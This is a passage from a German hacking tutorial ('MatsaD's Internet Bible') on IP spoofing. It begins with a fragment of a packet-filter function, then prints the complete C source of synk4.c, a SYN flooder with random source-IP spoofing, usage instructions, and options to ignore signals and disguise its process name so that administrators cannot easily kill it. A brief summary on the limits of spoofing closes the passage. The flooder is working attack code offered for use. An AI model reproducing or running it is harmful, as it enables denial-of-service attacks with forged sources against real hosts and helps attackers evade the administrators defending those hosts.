
void set_filter (char *f_source, unsigned short f_source_port,
                 char *f_dest, unsigned short f_dest_port)
{
unsigned char *f_so, *f_des;
unsigned long f_sol, f_destl;

RC_FILTSET=0;
if(DEV_PREFIX==9999)
	fprintf(stderr,"DEV_PREFIX not set!\n"), exit(1);
f_sol   = sp_getaddrbyname(f_source);
f_destl = sp_getaddrbyname(f_dest);
f_so    = (unsigned char *) &f_sol;
f_des   = (unsigned char *) &f_destl;
sprintf(rc_filter_string,"%u.%u.%u.%u.%u-%u.%u.%u.%u.%u",
		              f_so[0],f_so[1],f_so[2],f_so[3],f_source_port,
			      f_des[0],f_des[1],f_des[2],f_des[3],f_dest_port);
RC_FILTSET=1;
}
--- Source Ende ---

3.4 synk4.c
Zum Schluss noch ein kleiner SYN-Flooder... 
--- Source Anfang ---
/* Syn Flooder by Zakath
 * TCP Functions by trurl_ (thanks man).
 * Some more code by Zakath.
 * Speed/Misc Tweaks/Enhancments -- ultima
 * Nice Interface -- ultima
 * Random IP Spoofing Mode -- ultima
 * How To Use:
 * Usage is simple. srcaddr is the IP the packets will be spoofed from.
 * dstaddr is the target machine you are sending the packets to.
 * low and high ports are the ports you want to send the packets to.
 * Random IP Spoofing Mode: Instead of typing in a source address, 
 * just use '0'. This will engage the Random IP Spoofing mode, and
 * the source address will be a random IP instead of a fixed ip.
 * Released: [4.29.97]
 *  To compile: cc -o synk4 synk4.c
 * 
 */
#include <signal.h>
#include <stdio.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/time.h>
#include <netinet/in.h>
#include <linux/ip.h>
#include <linux/tcp.h>
/* These can be handy if you want to run the flooder while the admin is on
 * this way, it makes it MUCH harder for him to kill your flooder */
/* Ignores all signals except Segfault */
// #define HEALTHY
/* Ignores Segfault */
// #define NOSEGV
/* Changes what shows up in ps -aux to whatever this is defined to */
// #define HIDDEN "vi .cshrc"
#define SEQ 0x28376839
#define getrandom(min, max) ((rand() % (int)(((max)+1) - (min))) + (min))

unsigned long send_seq, ack_seq, srcport;
char flood = 0;
int sock, ssock, curc, cnt;

/* Check Sum */
unsigned short
ip_sum (addr, len)
u_short *addr;
int len;
{
	register int nleft = len;
	register u_short *w = addr;
	register int sum = 0;
	u_short answer = 0;
	
	while (nleft > 1)
	  {
		  sum += *w++;
		  nleft -= 2;
	  }
	if (nleft == 1)
	  {
		  *(u_char *) (&answer) = *(u_char *) w;
		  sum += answer;
	  }
	sum = (sum >> 16) + (sum & 0xffff);   /* add hi 16 to low 16 */
	sum += (sum >> 16);           /* add carry */
	answer = ~sum;                /* truncate to 16 bits */
	return (answer);
}
void sig_exit(int crap)
{
#ifndef HEALTHY
	printf("[H[JSignal Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}
void sig_segv(int crap)
{
#ifndef NOSEGV
	printf("[H[JSegmentation Violation Caught. Exiting Cleanly.\n");
	exit(crap);
#endif
}

unsigned long getaddr(char *name) {
	struct hostent *hep;
	
	hep=gethostbyname(name);
	if(!hep) {
		fprintf(stderr, "Unknown host %s\n", name);
		exit(1);
	}
	return *(unsigned long *)hep->h_addr;
}


void send_tcp_segment(struct iphdr *ih, struct tcphdr *th, char *data, int dlen) {
	char buf[65536];
	struct {  /* rfc 793 tcp pseudo-header */
		unsigned long saddr, daddr;
		char mbz;
		char ptcl;
		unsigned short tcpl;
	} ph;
	
	struct sockaddr_in sin;	/* how necessary is this, given that the destination
				 address is already in the ip header? */
	
	ph.saddr=ih->saddr;
	ph.daddr=ih->daddr;
	ph.mbz=0;
	ph.ptcl=IPPROTO_TCP;
	ph.tcpl=htons(sizeof(*th)+dlen);
	
	memcpy(buf, &ph, sizeof(ph));
	memcpy(buf+sizeof(ph), th, sizeof(*th));
	memcpy(buf+sizeof(ph)+sizeof(*th), data, dlen);
	memset(buf+sizeof(ph)+sizeof(*th)+dlen, 0, 4);
	th->check=ip_sum(buf, (sizeof(ph)+sizeof(*th)+dlen+1)&~1);
	
	memcpy(buf, ih, 4*ih->ihl);
	memcpy(buf+4*ih->ihl, th, sizeof(*th));
	memcpy(buf+4*ih->ihl+sizeof(*th), data, dlen);
	memset(buf+4*ih->ihl+sizeof(*th)+dlen, 0, 4);
	
	ih->check=ip_sum(buf, (4*ih->ihl + sizeof(*th)+ dlen + 1) & ~1);
	memcpy(buf, ih, 4*ih->ihl);
	
	sin.sin_family=AF_INET;
	sin.sin_port=th->dest;
	sin.sin_addr.s_addr=ih->daddr;
	
	if(sendto(ssock, buf, 4*ih->ihl + sizeof(*th)+ dlen, 0, &sin, sizeof(sin))<0) {
		printf("Error sending syn packet.\n"); perror("");
		exit(1);
	}
}

unsigned long spoof_open(unsigned long my_ip, unsigned long their_ip, unsigned short port) {
	int i, s;
	struct iphdr ih;
	struct tcphdr th;
	struct sockaddr_in sin;
	int sinsize;
	unsigned short myport=6969;
	char buf[1024];
	struct timeval tv;
	
	ih.version=4;
	ih.ihl=5;
	ih.tos=0;			/* XXX is this normal? */
	ih.tot_len=sizeof(ih)+sizeof(th);
	ih.id=htons(random());
	ih.frag_off=0;
	ih.ttl=30;
	ih.protocol=IPPROTO_TCP;
	ih.check=0;
	ih.saddr=my_ip;
	ih.daddr=their_ip;
	
	th.source=htons(srcport);
	th.dest=htons(port);
	th.seq=htonl(SEQ);
	th.doff=sizeof(th)/4;
	th.ack_seq=0;
	th.res1=0;
	th.fin=0;
	th.syn=1;
	th.rst=0;
	th.psh=0;
	th.ack=0;
	th.urg=0;
	th.res2=0;
	th.window=htons(65535);
	th.check=0;
	th.urg_ptr=0;
	
	gettimeofday(&tv, 0);
	
	send_tcp_segment(&ih, &th, "", 0); 
	
	send_seq = SEQ+1+strlen(buf);
}
void upsc()
{
	int i;
	char schar;
	switch(cnt)
	  {
	  case 0:
		    {
			    schar = '|';
			    break;
		    }
	  case 1:
		    {
			    schar = '/';
			    break;
		    }
	  case 2:
		    {
			    schar = '-';
			    break;
		    }
	  case 3:
		    {
			    schar = '\\';
			    break;
		    }
	  case 4:
		    {
			    schar = '|';
			    cnt = 0;
			    break;
		    }
	  }
	printf("[H[1;30m[[1;31m%c[1;30m][0m %d", schar, curc);
	cnt++;
	for(i=0; i<26; i++)  {
		i++;
		curc++;
	}
}
void init_signals()
{
	// Every Signal known to man. If one gives you an error, comment it out!
	signal(SIGHUP, sig_exit);
	signal(SIGINT, sig_exit);
	signal(SIGQUIT, sig_exit);
	signal(SIGILL, sig_exit);
	signal(SIGTRAP, sig_exit);
	signal(SIGIOT, sig_exit);
	signal(SIGBUS, sig_exit);
	signal(SIGFPE, sig_exit);
	signal(SIGKILL, sig_exit);
	signal(SIGUSR1, sig_exit);
	signal(SIGSEGV, sig_segv);
	signal(SIGUSR2, sig_exit);
	signal(SIGPIPE, sig_exit);
	signal(SIGALRM, sig_exit);
	signal(SIGTERM, sig_exit);
	signal(SIGCHLD, sig_exit);
	signal(SIGCONT, sig_exit);
	signal(SIGSTOP, sig_exit);
	signal(SIGTSTP, sig_exit);
	signal(SIGTTIN, sig_exit);
	signal(SIGTTOU, sig_exit);
	signal(SIGURG, sig_exit);
	signal(SIGXCPU, sig_exit);
	signal(SIGXFSZ, sig_exit);
	signal(SIGVTALRM, sig_exit);
	signal(SIGPROF, sig_exit);
	signal(SIGWINCH, sig_exit);
	signal(SIGIO, sig_exit);
	signal(SIGPWR, sig_exit);
}
main(int argc, char **argv) {
   int i, x, max, floodloop, diff, urip, a, b, c, d;
   unsigned long them, me_fake;
   unsigned lowport, highport;
   char buf[1024], *junk;
   
   init_signals();   
#ifdef HIDDEN
   for (i = argc-1; i >= 0; i--)
     /* Some people like bzero...i prefer memset :) */
     memset(argv[i], 0, strlen(argv[i]));
   strcpy(argv[0], HIDDEN);
#endif
   
   if(argc<5) {
      printf("Usage: %s srcaddr dstaddr low high\n", argv[0]);
      printf("    If srcaddr is 0, random addresses will be used\n\n\n");
      
      exit(1);
   }
   if( atoi(argv[1]) == 0 )
     urip = 1;
   else    
     me_fake=getaddr(argv[1]);
   them=getaddr(argv[2]);
   lowport=atoi(argv[3]);
   highport=atoi(argv[4]);
   srandom(time(0));
   ssock=socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
   if(ssock<0) {
      perror("socket (raw)");
      exit(1);
   }
   sock=socket(AF_INET, SOCK_RAW, IPPROTO_TCP);
   if(sock<0) {
      perror("socket");
      exit(1);
   }
   junk = (char *)malloc(1024);
   max = 1500;
   i = 1;
   diff = (highport - lowport);
   
   if (diff > -1) 
     {
	printf("[H[J\n\nCopyright (c) 1980, 1983, 1986, 1988, 1990, 1991 The Regents of the University\n of California. All Rights Reserved.");
	for (i=1;i>0;i++)
	  {
	     srandom((time(0)+i));
	     srcport = getrandom(1, max)+1000;
	     for (x=lowport;x<=highport;x++) 
	       {
		  if ( urip == 1 )
		    {
		       a = getrandom(0, 255);
		       b = getrandom(0, 255);
		       c = getrandom(0, 255);
		       d = getrandom(0, 255);
		       sprintf(junk, "%i.%i.%i.%i", a, b, c, d);
		       me_fake = getaddr(junk);
		    }
		  
		  spoof_open(/*0xe1e26d0a*/ me_fake, them, x);
		  /* A fair delay. Good for a 28.8 connection */ 
		  usleep(300);
		  
		  if (!(floodloop = (floodloop+1)%(diff+1))) {
		     upsc(); fflush(stdout);
		  }
	       }
	  }
     }
   else {
      printf("High port must be greater than Low port.\n");
      exit(1);
   }
}
--- Source Ende ---

4. Zusammenfassung
Dieses Kapitel war mal wieder etwas speziell, aber ich hoffe es war trotzdem interessant. Viele haben jetzt vielleicht den Eindruck bekommen, dass man IP-Spoofing recht hufig anwenden
kann. Leider ist das in Wirklichkeit nicht ganz so. Viele Systeme sind nicht nur per Sequenznummern vor IP-Spoofing geschtzt, sondern auch noch durch viele andere Programme und 
Dienste. das macht die Aufgabe natrlich ungleich schwerer. Aber trotzdem ist es gut, wenn man weiss wie IP-Spoofing funktioniert, denn Wissen schadet ja nicht. :)

c u all

MatsaD

[part of MatsaD's Internet Bible]

(c) by MatsaD


